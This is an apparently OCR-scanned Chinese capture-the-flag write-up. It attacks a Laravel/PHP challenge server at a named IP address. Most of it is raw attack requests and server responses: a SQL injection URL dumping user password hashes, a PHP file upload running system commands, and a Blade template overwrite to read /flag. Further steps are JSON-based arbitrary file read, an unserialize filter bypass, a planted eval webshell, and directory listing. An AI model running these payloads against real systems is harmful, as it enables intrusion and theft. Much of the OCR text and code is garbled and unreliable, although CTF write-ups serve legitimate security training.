@ Eror  x @ 119611 x @ WEAL x | @ WEN X | @ view-so x | @ view-so x | @ 19611 X | @ view-so X |

&« 2> C @O FEZ2 | 119.61.19.212:8085/user_testpage/1'%200r%20'a'="a
AN Qrdd G oms | 'attiy RATF Fmbis & omi®E § rany v sra @ wewm: §

array:3 [V
0 => {#195 ¥
+Ed"s L
+"name": "fM4GsTb4Nb"
+"email": "aaafaa.org"
+"password": "$2y$105.yHS51pgin5I2Q.0C58jd78.k7TrxrGS8mPXLLSBTKWUXx3rPYwgUtRE6"
+"remember_token": null
+"created_at": null
+"updated_at": null

1 => {#197 V¥
+"id": 2
+"name": "NotAllow6171"
+"email”: "A Hint=keyfctf.org"
+"password": "$2y$d0505cnweV]/z0bTnhkLRgosOr2i9qLgw.4Q0N0SXS5EtVvGIBtENZAmzy "
+"remember token": null
+"created_at": null
+"updated_at": null

2 => {#198 ¥
Aid" s 3
+"name": "adminer”
+"email": "adminfctf.com"
+"password": "$2y$105Vy575.5RxhenRN9ApSSrT.GlnQBtqW4PpWKFDMK1kOEngaIpPji.K"
+"remember token": "NULL"
+"created_at": "2019-08-05 07:56:41"
+"updated_at": "2019-08-05 07:56:41"
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?’ GitHub le |1 Hack Twitter B YouT ted Teaming Expe...

= admin@ctf.com

B creeerennnnnes

R BHRLERT K

https://blog.csdn.net/ag_28205153

About CTF

CTF {Capture The Flag) $3x—
BZFEHE, ERKRSWEP

(a ENERSESEAARZ @G

EARRN—BIEREDL, CTFE

FF 1906 DEFCONERAH S, LEE2m

REMMETEEREREREHTHALRNS
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D RNREERTR

https://blog.csdn.net/qgq_28205153
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I e =
anp Web.php €& HomeController.php a= register.blade.php f{} composer.json © ProfileController.php © AppServiceProvider.php
24 */

25 public function index()
26 {
Ja7 return view( view: 'home'};
28 }
29 public function uploads()
30 {
31 return view( view: 'auth.upload');
32 }
33 public function uploadss(Request Srequest,$key){
34 if($key!=<in database key>){die('sorry!');}
35
36 if ($request->isMethod(‘post’)) {
37
i3 $file = $request->file('files');
39 if ($file—>isvalid()) {
40 s$originalName = $file—>getClientOriginalName();
41 $ext = $file->getClientOriginalExtension();
42 $realPath = $file->getRealPath();
43 $type = $file->getClientMimeType();
44 $filecheck=new HomeController();
45 $filecheck->filecheck($realPath);
46 $filename = date( format: 'Y-m=-d=H-i-s') . '=' . wnigid() . '.' . $ext;
47 $path=¢4file —> move(base_path().'/resources/views/auth/uploads’,$originalName);
48 }
49 }
50
51 return view( view: 'home');
52 }
53 public function filecheck(4$filename){
54 //waf
55 }
- e 2
58

http://119.61.19.212:8085/home/uploadto_upload
ZH BRIV A A _token i, B XAEMH. o o

Y OneTab x | B 2019EBZRCREBWAN x | M WEB

C @ FL=2 | view-source:119.61.19.212:8085/home/uploadto_upload

# @A () GitHub & Google |9 Hacktivity HEONHE B ERTE B Google @iF Inoreader

W Twitter

>

1 :
2| <html lang="zh-CN">

3| <head>

4 <meta charset="utf-8">

5 <meta name="author">

6 <meta name="description" content="">

7 | </head>

8 | <body>

9| <form action="" method="POST" enctype="mulij = e

0 <input type="hidden" name="_token" valup="D1KJIGDpS91SdpgxuyYhlSGolMNYjCz2jdlrmgzTO"
1 <div class="form-group">

2 <label for="files">File input</label>

3 </div>

4

5| </form>

6| </body>

7 </html>

8

-~

© UserCc

X | @ 119.6119.212:8085/user_te:

B YouTube



¥E R uploadss J7EERT DA EAE SO, (HETIRE key HEZEEM, XA key B2 LEFEARFARAF &, 4K URL Hilikin
T: http://119.61.19.212:8085/home/uploadss/NotAllow6171

HEA EAER BT b A%, RRTHEH T

@ Page Expired X @ 1M9.61.19.212:8085/homefuplc. X | @ view-source:119.61.19.212:808 X | +
< C @ FE2£ | 119.61.19.212:8085/home/uploadss/NotAllow6171 &
HgE uam Coras fiwtey Bk BEenaw kK orgras Dot o Ll W T § EAERTTREUTE. B el

The page has expired due to inactivity.

Please refresh and try again.

-~ Cle dyy el A s s L, TLS
[ = Lpmie— = -
) BN 2 =T 2L

1 _bAER BN _ETHE RIREUK _token, S5 #3& LT _EAER BgHEAT bi%.

<html>

<body>

<form action="http://119.61.19.212:8085/home/uploadss/NotAllow6171" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />

<input type="hidden" name="_token" value="D1KJGDpS91SdpgxuyYh1SGolMNYjCz2jdlrmgzTO">

<input type="submit" value="Submit request" />

</form>

</body>

</html>



Y OneTab x | B 2019F%=@E%5 X | M WEB

x | @ 1n9s119.212:808 x | @

> C @ Xff | JUsers/timeshatter/Documents/ T fF X1 ™ ¥ ‘aif 23 $F/upload.html

i WA () GitHub G Google

EEXH | 1.php

Submit request

l1 Hacktivity BEF B&HE B E8%2 B Google BiF

3] Inoreader

NG ALl
EA%JE1RIR hack, RLiZ 2 ¥ T XN A
Go Cancel [ <iv|[ >v
Request Response

M Params T Headers T Hex ]

MHWTH&TMH]

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhB4tzLZOEwzJkZbn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36

Accept:

text/htmlapplication/xhtml+xml,application/xml;q=0.9,image /webp,image/apng,*/*;q=0.8,appli
cation/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: admin=0;
XSRF-TOKEN=eypdil6litsVk5tZWR3529jeitae DRXTGZGd 1E9PSIsinZhbHVIljoiU2ZnXC83a2 SwMitBNU
Ive TEOCnEZSIZ1V2NjVDdraVRrdFdYM2tPaWc1U0ZXeVdKVG1IR3BgZIVZADhNTIJURXNzMEc1aW1JUES
MMGIGMU)ZdDUSV2FnPTOILCJtYWMIOilkYzA5SNzNIiYWQxZWQ3 ZWYwYzY2MzQxYmNiOWNiYzZhY z
M3YjM1YTQ3ZjdIMWYzNjdkZWIONDQzZDBmNzFiOCE4In0%3D;
laravel_session=ey)pdil6ljcwMzFNYWVTV1BEVGZOOThcL3ppa013PTOILC)2YWx 1Z5I61khSTmjoSWZ
SYkhQRKN5MWp 5WmgwaHdVFVWMnlwV0Y2Q0Z0Q 1dsa0czVmdxNIVnY 3FtSHNKMkppNGZxeFNUR
itwYWhpN24xNU1sbkSveUImRmS52MOFnPTOILCItYWMiOiljYzhmZTkxNCUxMJE1ZjU2M2ZINTUIMTZi
OWFiYjQ3NTFmYzViNmU1Y2M1ZDE2ZMGQyY zJhNGIOMjY2MTYxYjFjln0%3D

Connection: close

—————— WebKitFormBoundaryhB4tzLZOEwz]kZbn
Content-Disposition: form-data; name="files"; filename="2.php"
Content-Type: text/php

<?php system('cat /flag)]?>
—————— WebKitFormBoundaryhB4tzLZOEwz)kZbn
Content-Disposition: form-data; name="_token"

GkdpFMDY3ZR4jRxQ46BVYMROpgyNSUmynPRMIENwU
~~~~~~ WebKitFormBoundaryhB4tzLZOEwz)kZbn--

KA B R ERphp R 7RI =8 [E:LF T8 T —ASBsA i EE b

ane Web.php € ProfileController.php € HomeController.php

1 <?php

PLAN

é resources/.../template.blade.php

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 10 Sep 2019 11:23:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Content-Length: 6

hacker

P = Y e PP T L)
\ r TAL 55 o
bk —ff;ﬂr;l < teTe 2y /I



Wk oo 7
-
14 Route::get('/', function () {
15 return view( view: ‘welcome');
16 };
17 Route::get('user_testpage/{id}', 'UserController@index');
18
19 Auth::routes();
20
21 Route::get('/home’, 'HomeController@index')->name('home');
22
23 Route::get('/home/profile’, 'ProfileController@show')—->name('profile’');
24
25 Route::get('/home/uploadto_upload', ‘HomeController@uploads')->name(‘'home');
26
27 Route::post('/home/uploadss/{key}', ‘HomeController@uploadss')->name( 'home');
28
29 |
BB ET T 2B
I:l —_— ;',}'P web.php C ProfileController.php € HomeController.php E_._ resources/..
1 <?php
2
3 namespace App\Http\Controllers;
—_ 4
5 use Illuminate\Http\Request;
6
7 class ProfileController extends Controller
8 {
9 public function ___construct()
10 {
11 $this->middleware( middleware: 'auth');
12 h
13
14 public function show()
15 {
16 return view( view: 'auth.uploads.template');
17 }
18 }
19



R IV http://119.61.19.212:8085/home/profile T A1 i) show() 5, %54 N3 auth.uploads.template 4R, %R R4
AT BAER EHF A

= Project = B = B — inwebphp & ProfileController.php < & HomeController.php = resources/.../template.blade.ghp = register.blade.php
» [0 Middleware 24 */
& Kernel.php 25 public function index()
» I Providers e {
® User.php 27 return view( view: 'home’);
» = bootstrap 2t }
) 29 public function uploads()
» = config 3 {
» B database kb return view( view: 'auth.upload');
32 }
> 33 public function uploadss(Request $request,$key){
> 34 if($key!=<in database key>){die('sorry!'});}
> 35
> 36 if ($request->isMethod('post’')) {
B 37
> 38 $file = $request—=file('files');
% 39 if ($file—=isvalid()) {
5 40 $originalMame = $file->getClientOriginalName();
?sa.urcss 41 $ext = $file->getClientOriginalExtension();
Y M views 42 $realPath = $file->getRealPath();
¥ I auth 43 $type = $file->getClientMimeType();
¥ I uploads a4 $filecheck=new HomeController();
= template.blade.php 45 $filecheck->filecheck($realPath);
¥ htaccess 46 $filename = date( format 'Y-m—d-H=j-s'} , ‘="' , ynjoig(} , ',' . Sext;
8 favicon.ico 47 $path=$file —> move(base_path() ’.-'resourcesfvimfauthfup‘l.oads}$orlginalName}:
i 48 }
e index.php oo ° A
# robots.txt -
.= " 58
M web.conflg 51 return view( view: 'home’};
» 0 resources 52 } s
Ve routes 53 public function filecheck{$filename){ -
ans @P1.PHP 54 /Iwaf
s channels.php 55 }

A UAE B R A SO 2 AEAROR IR flag, BATEEH — /MR A BE LA php R



HEEFNIERS, KRI AppServiceProvider.php 8 —BARS A file_get contents() ¥, BT F, RAHEEXIES, W UEFRF
BT @filedata RIREUCCHHI A .

il <?php

2

3 namespace App\Providers;

4

5 use Illuminate\Support\ServiceProvider;

6

7 class AppServiceProvider extends ServiceProvider
8 {

9 [ #k
10 * Bootstrap any application services.
11 *
12 * @return void

13 */
14 public function boot()

15 {

16

17 \Blade: :directive('filedata', function($expression) {
18 return "<?php echo file_get_contents($expression); 7>";
19 13 H

20 }

21

22 VE= >

23 * Register any application services.

24 *

25 * @return void

26 */

27 public function register()

28 {

29 //

30 ) I T e
31 }

w5 R FE LA 42 B B L template.blade.php , WA R E R @filedata(/flag’) , 4R )5 Vi iH /home/profile BI AT LER flag



e 2 < ol - |
|T Cancel LT“E_J

Target: http:/(119.61.19.212:8085 7

Request Response
Emslmluul n!mua]m]mu{m]

DNT: 1 . <body>
Content-Type: multipart/form-data; b d WebKitFormBoundaryhB4tzLZOEwz]kZbn P <div id="header">
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_14_6) AppleWebKit/537.36 (KHTML, like <div id="logo">
Gecko) Chrome /76.0.3809.100 Safari/537.36 <hl> Admin Page</hl>
Accept: <fdiv>
text/html,application /xhtml+xml,application/xml.qg=0.9,image /webp,.image/apng,* /*:q=0.8.appli < /div>
cation /signed-exchange;v=b3 A <div id="container™>
Accept-Encoding: gzip, deflate <div id="sidebar">
Accept-Language: zh-CN,zh;q=0.9 <hl>About CTF</hl>
Cookie: <p> <img src="http://119.61.19.212:8085 /mypage/images/author.png” alt="" />
XSAF-TOKEN=ey|pdil6indpT2 REaIRFQkdYTzY5bDY4M3BvMIEIPSIsInZhbHVIljoiQ214 Vys5QIVKRTIIM CTF ( Capture The
XpQTVUwZnFnY2g500NaaG92aWwNQbWpnUFFZROkweEVCLOUZ TjZ4Q1RIMKJIZHZSaTVYWIA3Q2hw Flag ) PX—RFEINE  EMEELANPROBMETEERARZ DR TEAREN—HO00R
aGpKNLIZWGNESIDe LNsUKZRPTOILCtYWMIOiI2 MWQ 1NDAYY 2UyY zAxNze5Y 2I30WQ3 Y 2eyMmMyM . CTFENT1996FDEFCONSRMEASR LB ZNAENATERRERSREBTHRRL
TNmMODIXNWVIM2E 10GQyMGMOOTJhMTJjNjBkM2zF KNDhINDowin0%3D; BAR, </p>
laravel_session=ey)pdil6Inh2WVptQ Lex VWckITTTIR LpSMXc9IPSIsinZhbHVIjoivViwwWm L Th 1pkd2 <hl>To:</hl>
40WVp1TUZRR2dhaOpmRGIYWIVKSEJ4amk2ZnViNIpkTVYrbHETWEdzZUxUT jEwdzQ 1QnfWMOp3 Qk H <p=Havefun:)</p>
hEQXpYc JUbVIxbDM3dkIPNVFBPTOILCIYWMIOIWZGQwWMZMx Y mFIODG 3ZWNJMTASMDN)ZmY 2NT </div>
QSYWNINTFmMWIkOTZjJNDV]ZCYOZTM3IMWZMWY x OTg2 ZJE 1 N2RilnO%3D
Connection: close <divid="content™>

<hl>About This Task</hl>
—————— ‘WebKitFormBoundaryhB4tzLZOEwzlkZbn <p=>Looks so funright?</p><p>Enjoy This Came</p>
Content-Disposition: form-data; *files”; filename="template.blade.php” <hli>Where is Flag</h1>
Content-Type: text/php <p=Flag Path:/flag</p>

<ul>
@filedatal’/flag") <jul>
—————— WebKitFormBoundaryhB4tzLZOEwzlkZbn < div>
Content-Disposition: form-data; name="_token" </div>

<br clear="all" />
D1KJGDpS9isd /Y h15GoIMNYjCz2jdirmgzTO </body> P T T oy ,_,-; o B S £
-=====WebKitFormBoundaryhB4tzLZ0Ewz)kZbn-- </html> \"'I\\_J 'f'-/‘: dr "7‘ "" 7 %1 ,{_I,’EI
&
v

Y OneTab

e

R () GitHub G Google

flag{Ucan_wow_easy_qgaq}

6. api

X | B 2019FE=RF X

@ 119.61.19.212:80¢ X @ 119.61.19.212:808

> C  ® L2 | 119.61.19.212:8085/home/profile
l1 Hacktivity B9 BHHE B BERR2

B Google Bi% Inor




api X RA T AN, HEWE, RERIMHA, REVFA /api/ 2 POST filename %1,

Y OneTab X | B 2019EB=E RABANMS X @ 119.61.19.212:8086/api/

< C © A% | 119.61.19.212:8086/api/
i WA () GitHub G Google |9 Hacktivity B9 BHBE 5 EERL2 B Google #iF Inoread

Post “filename’,and u give this api array,u can read file



B POST filename S 33R R json f#HT 45 1%

Go Cancel | [ < v || >Ir |

Request

JJ-'M*‘ Params T Headers T Hex 1

Response

_[;_ms.l Headers T Hex ] Render 1

POST /apif HTTP/1.1
Host: 119.61.19.212:8086
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/76.0.3809.100 Safari/537.36
DNT: 1
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,image/apng,*/*;q=0.8,appli

cation/signed-exchange ,v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 18

A HTTP/1.1 200 OK

F Date: Tue, 10 Sep 2019 11:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 24
Connection: close
Content-Type: text/html; charset=UTF-8

sorry,json_decode error!

filename=index.php |
23, BT RMEESH:

. Go } | Cancel | | <|r >\ Target: http:

Request Response

Raw | Params | Headers | Hex Ia%? Headers | Hex | Render ]
POST /fapif HTTP/1.1 A HTTP/1.1 200 OK
Host: 119.61.19.212:8086 3 Date: Tue, 10 Sep 2019 11:30:32 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Vary: Accept-Encoding
Gecko) Chrome/76.0.3809.100 Safari/537.36 Content-Length: 492
DNT: 1 Connection: close
Accept: Content-Type: text/html; charset=UTF-8
text/html,application /xhtml+xml,application /xml;q=0.9,image /webp.image /apng,* /*;q=0.8 appli
cation/signed-exchange;v=b3 <?php
Accept-Encoding: gzip, deflate iflisset($_POST['filename){
Accept-Language: zh-CN,zh;q=0.9 Sfile=json_decode($_POST['filename’], true);
Connection: close ifijson_last_error()){
Content-Type: application/x-www-form-urlencoded die("sorry,json_decode error!");
Content-Length: 29 lelsef

i iffarray_key_exists("file",$file)){
filename={"file""index.php'} if(stristr(Sfile["file'], ')
die('sorry!");
Jelse{
echo file_get_contents($file['file']);
lelsef
die('sorry,u cannot readfile');
}
}
lelse{
echo "Post “filename " ,and u give this api array,u can read file";
o2, et
7> W T Hij 2




R E % H /Y index.php

Cancel < v

Go

Request

ml Params IHeaders Hex |

Target: t

Response

[m»] Headers | Hex Rendef]

POST /api/ HTTP/1.1
Host: 119.61.19.212:8086
Upgrade-insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10_14_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/76.0.3809.100 Safari/537.36
DNT: 1
Accept:

text/html,application /xhtml+xml.application/xml,g=0.9,image /webp,image fapng,*/*,q=0.8,appli

cation/signed-exchange,v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 32

filename={"file""../index.php"}

e

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 11:38:42 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 342

Connection: close

Content-Type: text/html; charset=UTF-8

<?php
require_once('hack.php');
echo "Apilwow";
function do_unserialize($value){
preg_match('/[oc]:\d +:/i', Svalue, $matches);
if (count($matches)) {return false;}
|., return unserialize(Svalue);
| i
$x = new hack();
if(isset(S_GET['flag')} $g = $_GET['flag'];
if (lempty($g)) {
$x = do_unserialize($g);

t
echo $x->readfile();
>

R B 3%H index.php €& T hack.php , )5 flag SEHERET RFFIL o X BIFERF IR .

4k 4L HY hack.php

. Go Cancel < >|»
Request
J“] Params I Headers I Hex ]

Target: http://119.61.19.212:8086 7 |

Response

IM] Headers | Hex Rmderl

POST /api/ HTTP/1.1
Host: 119.61.19.212:8086

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36

DNT: 1

Accept:

text/html,application/xhtml+xml,application fxml:q=0.9,image /webp,image/apng,*/*:q=0.8,appli
cation/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 31

filename={"file":"../hack.php"}

T

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 11:50:50 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 356

Connection: close

Content-Type: text/html; charset=UTF-8

<?php
class hack {
public sfile;
function __construct({Sfilename = ") {
$this -= file = $filename;
b

function readfile() {
if (lempty($this->file) && stripos{$this->file,'.)===FALSE
&& stripos($this->file,'/)===FALSE && stripos($this->file/\\")==FALSE) {
return @file_get_contents($this-=>file);
}

¥

'
| ifffffaa_not.php
7>

hack.php ] readfile() i £t & E $file ZE I8 M. B EFEREH IR T IR fifffaa_not.php U, A bA R 75 ZE# i DL

T RTINS SAEN flag K18 BN AT 2B fffffaa_not.php i 2

O:4:*hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}

{B7E index.php HA X R FFIAL A A id I8



<?php
require_once('hack.php’;
echo "Apilwow";
function do_unserialize($value){
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {return false:}
return unserialize($value);
}
$x = new hack();
if(isset($_GET['flag’])) $g = $_GET['flag’];
if (lempty($9)) {
$x = do_unserialize($9g);
}

echo $x->readfile();

o HiR et T v

BTTF, AILTEC: FEEHRI—AN SR, payloaddl T :
O:+4:*hack”1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?
flag=0%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}

| o Cancel | <|v >|v Target

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render ]
GET /?flag=0%3a%2b4%3a"hack"%3al1%3af{s¥%3ad%3a file"%3 bs¥3al5%3a"fffffaa_not.php"%3b} A HTTP/1.1 200 OK
HTTP/1.1 1 Date: Tue, 10 Sep 2019 12:02:10 GMT
Host: 119.61.19.212:8086 Server: Apache/2.4.18 (Ubuntu)
Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Content-Length: 272
Gecko) Chrome[76.0.3809.100 Safari/537.36 Connection: close
DNT: 1 Content-Type: text/html; charset=UTF-8
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image /fwebp,image /apng,*/*,q=0.8,appli Apilwow <7php
cation/signed-exchange ,v=b3 $text = §_GET['jhh08881111jn"];
Accept-Encoding: gzip, deflate $filename = §_GET['file_na'l;
Accept-Language: zh-CN,zh;q=0.9 if(preg_match([<>71", $text)) {
Connection: close die('error!’);

if(is_numeric($filename)){
$path="/var/www/html/uploads /".$filename.".php";
jelse{
die('error’);

H
file_put_contents($path, Stext);
| i Eh ; gy _/ = ; ' > ‘x




BE fffffaa_not.php MR, KILIKENSH jhn08881111jn MIMELE AN S, file_na HIMENE RN T4 5k A& 30442 uploads H
Ho KT SXHRERE, TRFE < XEMFS, LRSS HR B RS kS48 jhh08881111jn[], payload 1T
http://119.61.19.212:8086/ffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234

Go || Cancel | [ <|r ">:v'

Request

[ Raw | Params | Headers | Hex |

Targs

Response

@_J Headers | Hex i

GET /fffffaa_not.php?jhh08881111jn[l=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234

HTTP/1.1
Host: 119.61.19.212:8086
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/76.0.3809.100 Safari/537.36
DNT: 1
Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image /webp,image/apng,*/*;g=0.8 appli

cation/signed-exchange,v=b3
Accept-Encoding: gzip, deflate
Accept-Language; zh-CM,zh;q=0.9
Connection: close

Vi uploads/1234.php, #ATAES, KIL 500 iR, RJEHAT phpinfo(),

[ | [ cancer | [<in] [>in]

Request

[MJ Params I Headers I Hex

e

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 12:50:51 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

KRIVEER T ks 4

Target: hup://119.61.19212:8086 7 (7)

Response

[ Raw | Headers | Hex [ HTML | Render |

POST fuploads/1234.php HTTP/1.1

Host: 119.61.19.212:8086

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 {(Macintosh; Intel Mac 05 X 10_14_&) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36

DNT: 1

Accept:

text/html,application/xhtml+xmlapplication/xml;q=0.%,image fwebp,image fapng,* /*,q=0.8,appli
cation/signed-exchange v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie:

XSRF-TOKEN=eylpdil6ljdrdWOwe|BFMIRDY[I|NWS Y cGZLZWc9PSIsInZhbHVIljoie EVFTHElak BwNDRreW
NEVmVsaURclL2 SEOWZQSES rTWE2b2dsXCIIRZILVENTDZ pCZm 10k 00T ZkajlmcVy zNVwvMDdacWe
TdXN1Migwe3ZVOWaHQ 1 wancIPSisim1hYyl 6l mQxMjU3IZjQ 1 MWIOM|Q2Z M2 QwMWZkOWUWMZ U4Y]
ZJODIYBhZjU L Nzc 1 MWM 1MZEONGMIODRmZWF|ZmY 2MjY 2 N2Qif%3 DX3D,
laravel_session=eylpdilsimimyVnpQaTAyUZhcL INXZCGWT zRwSKZ3PTOILCI2YWx 1ZSI6InZwel ZuaVFL
RCFjZWhcL1dHQONOTRIEbIhh QYWY TIrOTIETmljdn IsSHIPMDRrbONYWDEMOGN X VERzalFCQjZhd Ths
bVgZMWICNIRXTVCZY kNMS 1IRsSWWcaPSIsimLhYylBimQyMzg 1 OTEYNTAwWZTIhYjg2 YWEOZWY 1MDE2
MOQ5N2)iMmO20TBRZWQS M2 EIM2Ux Y jUzYjcz Y ilkMjUx NDVINDUIFQX3D%30D

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

Te

emd =phpinfo();

-
v

0 matches

@ LiJ w m Type a search term

class="v">&amp;</td> </tr>

<tr><td class="e">auto_append_file</td> <1d class="v"> <i>no value </i> < td> <td

class="y"> <i>no value</i> < ftd></tr>

<tr=<td class="e">auto_globals_jit</td> <td class="v'>0n</td> <td class="v"'>0n< /td> < tr>
"e">auto_prepend_file< /td><td class="v"> <i>no value</i> < /td><td

T

<tr><td class="g'
class="v"> <i>no value</i> < ftd> </tr>

<tr=<td class="e">browscap < /td> <td class="v"> <i>no value<fi> < /td> <td class="v"> <|>no
value</i> </td> </tr>

<tr><td class="z">default_charset< /td><td class="v">UTF-8</td> <td
class="v">UTF=8</td><ftr>

<tr><td class="e">default_mimetype< /id><td class="v">text/html</td><td )
class="v">text/html</td> < tr>

<tr=<td (Ia55="e">c}isabie_classesdtd}cm class="v"><i>no value</i></ftd><td
. Yl T L L1 Fre

<tr><td class="e">disable_functions < /td> <td
class="y">dl,copy,unlink,moveexec,system,passthru,popen,proc_open,pcntl_execshell_execma
ilimap_open,imap_mail putenv,ini_set,apache_setenv,symlink,link.error_logmb_send_mail </t
d><td
class="v">dlcopy.unlink,moveexecsystem,passthru,popen,proc_open.pcntl_execshell_execma
ilimap_open,imap_mail putenv,ini_set,apache_setenv,symlink,link.error_log.mb_send_mail </t
de<itrs

<tr=<td class="e">display_errors</td> <td class="v">0ff < /td > <td class="v">0ff</td> </tr>
<tr><td class="e">display_startup_errors </td> <td class="v">0ff < /td> <td
class="v">0ff</td> < [tr>

<tr><td class="e">doc_root</td> <td class="v"><i>no value</i> < td> <td class="v"> <i>no
value</i></td> < /tr>

<tr><td class="e">docref_ext</td> <td class="v"> <i>no value</i> </td> <td elass="v"> <i>no
value</i></td> </tr>

<tr=<td class="e">docref_root</td><td class="v"> <i>no value</i></td><td
class="v"><i>no value</i><td></tr>

<tr><td class="e">enable_dl </td> <td class, " _}_—"_‘fff;
<tr=<td class="e"> enable_post_data_readingrr\___h,‘:[;&‘la',

Flace oM P Ted o e

© ()i o=

7 matches

X BRI E M scandin() MECRSIH R, R)EET file_get_contents() B HCRIEEUCHE .



Go j Cancel <iv|[ > |

Request Response
| Raw | Params | Headers | Hex | [ Raw | Headers | Hex | Render |
POST /uploads/1234 php HTTP/1.1 . Content-Length: 417
Host: 119.61.19.212:8086 2 Connection: close
Pragma: no-cache Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Upgrade-insecure-Requests: 1 Array
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like {
Gecko) Chrome/76.0.3809.100 Safari/537.36 [0] =>.
DNT: 1 [1] => .
Accept: [2] => .dockerenv
text/html,application /xhtml+xml,application/xml,q=0.9,image /webp,image/apng,*/";q=0.8,appli [3] => bin
cation/signed-exchange;v=b3 [4] => boot
Accept-Encoding: gzip, deflate [5] => dev
Accept-Language: zh-CN,zh;q=0.9 [6] == etc
Cookie: [7] => flag_ahajjdhhllgwe
XSRF-TOKEN=eyJpdil6ljdrdWOwejBFMIRDY|jNW5Y cCZLZWcIPSIsInZhbHVIljoieEVFTHBlak 8wNDRreW [8] => home
NEVmMVsaURcL2SEOWZQSESrTWE2b2dsXCI3RZILVKNTb2pCZm21QIk00T ZkajlmcVyzNVwvMDdacWc ﬂ [9] == lib
1dXN1Mkjwc3ZVQWItQllwanc9PSIsimLlhYyl6lmQxMju3ZjQ IMWIOMjQ2ZM2QwMWZKOWUwWM2U4Y) [10] => libG4
ZjODIIYJBhZjUINZc1MWM1MzEONGM3IODRmMZWFJZmY 2MjY2NzQifQ#%3D%3D; [11] => media
laravel_session=eylpdil6lmimVnpQaTAyU2hcL1NXZG)vTzRwSXZ3PTOILCJ2YWx 1ZSI6InZwclZuaVFU [12] => mnt
RGFjZWhcL1dHQONOTnJEBIhhQWWY TIrOTIETmljdnlsSIIPMDRrbONVvWDBmMOGNxVERZaIFGQjZhdThS [13] => opt
bVg2MWICNIRXTVe2YkNMS1RSWWcIPSIsim1hYyl6imQyMzgl1OTEYNTAWZTIhYjg2YWEOZWY 1MDE2 [14] => proc
MDQ5NzJiMmQ20TBhZWQSM2EIM2UxYjUzYjczYJkMjUxNDVINDUIfQ¥%3D%3D [15] => root
Connection: close [16] => run
Content-Type: application/x-www-form-urlencoded [17] => shin
Content-Length: 26 [18] => srv
[19] => start.sh
cmd=print_r{scandir("/")); [20] => sys
[21] => tmp
[22] => v == -r1.
[23] =>'wi
)
=
R flag £ /fag_ahajdhh11qwe L, @i file_get contents() £ :
lLGo || Cancel | [ <iv]| >
Request Response
_IMT Params I Headers T Hex ] Jm T Headers I Hex T Render ]
POST /uploads/1234.php HTTP/1.1 A HTTP/1.1 200 OK
Host: 119.61.19.212:8086 3 Date: Tue, 10 Sep 2019 12:52:05 CMT
Pragma: no-cache Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache Content-Length: 21
Upgrade-Iinsecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Content-Type: text/html; charset=UTF-8
